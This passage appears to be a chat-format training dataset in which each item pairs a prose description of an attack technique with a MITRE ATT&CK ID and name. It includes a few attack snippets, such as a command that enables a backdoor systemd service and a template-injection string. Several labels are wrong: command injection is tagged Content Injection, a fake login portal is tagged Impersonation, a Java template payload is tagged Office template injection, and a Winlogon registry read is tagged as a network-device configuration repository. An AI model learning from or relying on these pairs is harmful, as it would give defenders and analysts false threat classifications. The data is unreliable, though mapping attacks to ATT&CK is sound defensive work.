                "content": "Malware modifies the BIOS power management settings to keep the device powered on even when unplugged."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise leverages PowerShell to start a process with arguments that are identical to those of a benign system process, misleading forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the SQL Server Agent to schedule a stored procedure that periodically runs a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables multi‑factor authentication enforcement on the domain controller, allowing simple password credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved hijacking a software dependency update process, where the attacker replaced a legitimate dependency with a compromised version containing a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads a malicious XSL stylesheet that is processed by the target server, allowing execution of arbitrary commands via XSLT scripting."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes creation of a scheduled job in the Windows registry that triggers a file‑transfer utility to send logs to a remote FTP server."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor modifies the print processor registry entries to point to a malicious executable, achieving persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the breach, the adversary used a file titled \"powerpnt.exe \" (space after the name) to hide ransomware activity under the guise of Microsoft PowerPoint."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware embeds its payload in image files using steganography, making the malicious code invisible to file scanners."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised Docker daemon to run a container that downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email that mimics a HR announcement includes a calendar invite with a malicious macro that runs a credential harvesting script."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro opened the default mail client and exported all inbox messages from the local store."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes Outlook custom form scripts to harvest credentials from the user’s address book."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor abuses XPC services to spawn a child process with system privileges, enabling further lateral movement on the host."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor crafts malformed XPC messages that cause a crash in a vulnerable service, then leverages the crash to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code called the GCP firewall API to delete existing firewall rules, leaving the project exposed to external attackers."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote command is issued to the victim’s mail server to archive and retrieve all email messages."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool calls the LsaEnumerateLogonSessions API to enumerate active sessions and dump associated LSA secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors examined the target’s social media profiles to collect information about personal connections."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform a disk structure wipe by formatting the drive without preserving any metadata."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses free DNS resolution logs to collect past DNS query responses tied to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a trusted code signing certificate used by a popular application, allowing the attacker to sign malicious executables that appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a fake Microsoft Office login portal and sends it to employees, harvesting their credentials when they enter them."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software accesses the container orchestration API and extracts service account keys via insecure endpoints."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed a credential‑dumping operation on a compromised workstation to extract stored Outlook credentials and use them to access victim email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages socket filtering to selectively block security tool communications while allowing malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload with <% System.out.println('hacked') %> is submitted to a Java-based templating system, leading to execution of the embedded code."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code communicates with its C2 server by sending data hidden inside ICMP echo reply packets."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript file is embedded in a web page; the user clicks a link that triggers the download and manual execution of the script on their computer."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise leverages Emond to run a credential dumping tool each time the Event Viewer records a failed login attempt."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware checks for the presence of debugger or sandbox artifacts like Cuckoo sandbox logs before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Outline how an attacker could exploit a vulnerability in a specific version of a web application framework to gain control over the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace the system's firmware with a backdoored version that persists even after disk format."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses PowerShell to set the 'Start' value of the eventlog service to 4, effectively disabling it."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses Mimikatz's sekurlsa::credman module to harvest credentials from Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage stolen SSH keys to authenticate and log into remote servers without passwords."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pulls saved OAuth tokens from the user’s Chrome profile to access Gmail via API."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a systemd service definition to start a reverse shell whenever the system restarts."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by parsing /etc/passwd for user entries and then extracting the corresponding password hashes from /etc/shadow."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies an existing LaunchAgent configuration to point to a malicious executable, ensuring it runs at system start."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant contacts a remote server using DNS over HTTPS to obtain encrypted configuration data."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor connects to its remote server on port 12345, a port rarely seen in normal enterprise traffic, to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor altered the operating system's code signing configuration, setting the policy to \"Ignore\" for all signatures, thereby bypassing integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers accessed the victim's cloud storage via a hijacked API key, enumerated directory structures, and extracted data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a new cloud service account on AWS to store stolen data and maintain foothold."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs 'systemctl enable backdoor.service' after placing the unit file in /etc/systemd/system."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the operating system's video capture APIs to record short clips of the user's environment."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts exfiltrated data and sends it over HTTPS to a command-and-control server disguised as legitimate web traffic."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor exploits an unpatched vulnerability in a VPS management console to execute arbitrary code and establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys unauthorized cryptocurrency mining software on compromised cloud instances to siphon compute resources for profit."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a recursive scan of \\\\*\\*\\* to locate shared directories."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses replay attacks on previously captured MFA tokens to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script was saved as \"C:\\Program Files\\Adobe\\Acrobat\\acrobat.exe\", mimicking the real Acrobat executable to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell's Register-ScheduledTask cmdlet to schedule execution of a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Unicode RTL override characters in registry keys to disguise malicious DLLs as legitimate system files."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware overwrites the /Library/LaunchDaemons/com.malicious.plist to run a backdoor as root."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails contain links to a fake web portal that mimics the real service and records all credential submissions."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the WSMAN client to send encoded PowerShell scripts to a remote Windows host."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the internal knowledge base for system architecture diagrams and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script installs a custom Outlook add‑in via the Addins registry key, causing code execution on email client launch."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accessed a corporate SharePoint server and downloaded confidential documents containing HR records."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary code parses DLL export tables to resolve function addresses on-the-fly, avoiding hardcoded imports for stealth."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the \"installutil.exe\" tool to register a .NET service that executes arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder appends a base64‑encoded malicious DLL to a legitimate .exe file, causing the hidden payload to be loaded during execution."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed by placing a malicious DLL path in the AppInit_DLLs value and setting LoadAppInit_DLLs to 1."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers encode command-and-control messages using URL encoding to evade network monitors."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject malicious payloads into an existing VNC session between a user and a remote server."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin account is used to change file permissions, making essential files inaccessible."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates registry settings related to PowerShell execution policies to assess script execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a vulnerable URL parameter, the attacker injects PowerShell commands that are executed on the server."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing attempt via a legitimate cloud collaboration tool (e.g., Google Drive) includes a malicious document disguised as a project file."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable WordPress plugin to inject a defacement script on the homepage."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the Windows API NetUserModalsGet to read password policy parameters."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious agent harvests configuration data from the registry hive HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase a domain name and configure a public web server to serve phishing payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a network switch, deletes the existing RADIUS server configuration, and adds a malicious RADIUS server that accepts any credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
